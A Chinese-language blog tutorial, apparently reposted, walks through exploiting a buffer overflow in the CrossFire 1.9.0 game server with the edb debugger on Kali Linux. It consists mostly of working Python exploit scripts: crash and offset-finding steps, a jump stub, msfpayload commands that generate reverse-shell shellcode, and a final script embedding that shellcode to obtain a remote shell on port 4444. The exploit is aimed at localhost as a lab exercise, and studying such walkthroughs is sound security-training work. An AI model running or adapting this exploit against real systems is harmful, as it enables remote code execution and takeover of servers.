kali linux之edb--CrossFire缓冲区溢出
漏洞的罪惡根源------變量,數(shù)據(jù)與代碼邊界不清,開發(fā)人員對用戶輸入沒做過濾,或者過濾不嚴
?
如這個腳本,寫什么,顯示什么,但是加上;,|,&&,后面加上系統(tǒng)命令,就執(zhí)行命令了
?
?
?
緩沖區(qū)溢出:
當(dāng)邊界限制不嚴格時,由于變量傳入畸形數(shù)據(jù)或程序運行錯誤,導(dǎo)致緩沖區(qū)被撐爆,從而覆蓋了相鄰內(nèi)存區(qū)域的數(shù)據(jù),成功修改i內(nèi)存數(shù)據(jù),可造成進程劫持,執(zhí)行惡意代碼,獲取服務(wù)器控制權(quán)等后果
?
如何發(fā)現(xiàn)漏洞?
源碼審計(代碼審計),逆向工程(動態(tài)調(diào)試),模糊測試------(向程序堆棧半隨機的數(shù)據(jù),根據(jù)內(nèi)存變化判斷溢出,數(shù)據(jù)生成器--生成隨機,半隨機數(shù)據(jù),測試工具--識別溢出漏洞)
?
實例(沒下載到CrossFire,而且我物理機也是2019版的kali,就借鑒一下這個老哥的:https://www.cnblogs.com/systemVITO/p/9246752.html)
CrossFire
多人在線RPG游戲
1.9.0 版本接受入站 socket 連接時存在緩沖區(qū)溢出漏洞 (服務(wù)端)
?
調(diào)試工具
edb
?
運行平臺kali 2.0 x64虛擬機
Linux中內(nèi)存保護機制
DEP
ASLR
堆棧 cookies
堆棧粉碎
?
創(chuàng)建/usr/games/目錄,將crossfire1.9.0服務(wù)端解壓到目錄
運行./crossfire
?
開啟調(diào)試
edb --run /usr/games/crossfire/bin/crossfire?
右下角是paused暫停狀態(tài)
菜單欄 Debug => Run(F9) 點擊兩回可以運行起來
可以通過命令查看程序端口信息
?
查看開放端口
netstat -pantu | grep 13327
?
EIP中存放的是下一條指令的地址
這個程序和一般的溢出不同,它必須發(fā)送固定的數(shù)據(jù)量才可以發(fā)生溢出,而不是大于某個數(shù)據(jù)量都可以,我們構(gòu)造如下python程序測試
#! /usr/bin/python
import socket?? #導(dǎo)入模塊
host = "127.0.0.1"? #主機
crash = "\x41" * 4379?????? ##要發(fā)送的crash字符為 \x41為十六進制的大寫A
buffer = "\x11(setup sound " + crash + "\x90\x00#"?? ##實際發(fā)送給服務(wù)器的數(shù)據(jù) \x90是NULL,\x00是空字符
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #建立連接對象
print "[*]Sending evil buffer..."
s.connect((host,13327)) #和主機的13327建立連接
data = s.recv(1024)
print data
s.send(buffer) ##建立完成后發(fā)送buffer
s.close()
print "[*]Payload Sent!"
?
運行后,edb報錯如下
意思是EIP(存放一下條執(zhí)行命令的地址)已經(jīng)被覆蓋成上圖黑體中的地址,而計算機找不到這個地址。這個地址正是由我們輸入的A,說明EIP可控,存在溢出。
這里你也可以測試增加一個A或者減少一個A發(fā)送,會發(fā)現(xiàn)后邊兩個數(shù)值都不是A,都不可控,也就是說數(shù)據(jù)量只有為4379時EIP才完全可控
?
為了查看到底是哪個位置的A才是溢出后的EIP地址,借助工具生成唯一字符串
cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 4379
復(fù)制下來,構(gòu)造如下python腳本
#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = "唯一字符串"
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
開啟edb啟動程序,運行python程序
利用工具確認字符串的位置
cd /usr/share/metasploit-framework/tools/exploit/
./pattern_offset.rb -q 46367046
就是說EIP地址前面有4368個字符。?? 4369,4370,4371,4372的位置存放的是溢出后的EIP地址
?
我們構(gòu)造如下python腳本驗證
#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + 'C'*7?? ## 湊夠4379個字符
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
?
可以看到EIP地址被精準的填充為B字符
?
右鍵ESP,選擇 Follow In Dump 查看數(shù)據(jù)
?
因為必須是精確的字符才能溢出,就是說ESP寄存器只能存放7個字符,顯然無法存放shellcode
幾個寄存器都查看后,選擇了EAX。因為EAX存放的是我們之前發(fā)送的幾千個A,是可控的,且有足夠的大小存放shellcode
?
思路就是讓EIP存放EAX的地址,然后在地址上加12,直接從第一個A的位置開始執(zhí)行。但是各個機器的EAX的地址也各不相同,不具有通用性,所以直接跳轉(zhuǎn)的思路就放棄。
既然ESP可以存放7個字符,想到了跳轉(zhuǎn)EAX并偏移12
?
#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + '\x83\xc0\x0c\xff\xe0\x90\x90'
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
首先EIP地址仍然是精準的四個B
?
?
?
ESP => Follow In Dump 查看
83 c0 0c ff e0 90 90 說明這里也完美寫入
?
思路就是EIP => ESP => EAX,EAX存放shellcode,因為ESP地址不固定,需要借助固定的地址跳轉(zhuǎn)
打開edb,菜單欄 Plugins => OpcodeSearcher => OpcodeSearch
選擇crossfire程序,ESP -> EIP,選擇一個jmp esp 的地址,這個地址是不會變的
菜單欄 plugin => breakpointmanager => breakpoints 選擇add增加我們上邊選擇的地址的斷點用來測試。
?
然后我們測試壞字符,經(jīng)過測試壞字符是\x00\x0a\x0d\x20
生成shellcode并過濾壞字符
cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的種類
./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20"?
?
?構(gòu)建python腳本
?import socket
host = "127.0.0.1"
shellcode = (
"\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+
"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+
"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+
"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+
"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+
"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+
"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+
"\x1a\x99\x43\x71\x97\x54\x03")
crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"
?
監(jiān)聽本地的4444端口,即可獲取一個shell
?
?
?
友情鏈接 http://www.cnblogs.com/klionsec
?????????????? http://www.cnblogs.com/l0cm
?????????????? http://www.cnblogs.com/Anonyaptxxx
?????????????? http://www.feiyusafe.cn
?
轉(zhuǎn)載于:https://www.cnblogs.com/Hydraxx/p/10422848.html
總結(jié)
以上是生活随笔為你收集整理的kali linux之edb--CrossFire缓冲区溢出的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 整数规划matlab实例,整数规划mat
- 下一篇: C# 获取gzip网页解压处理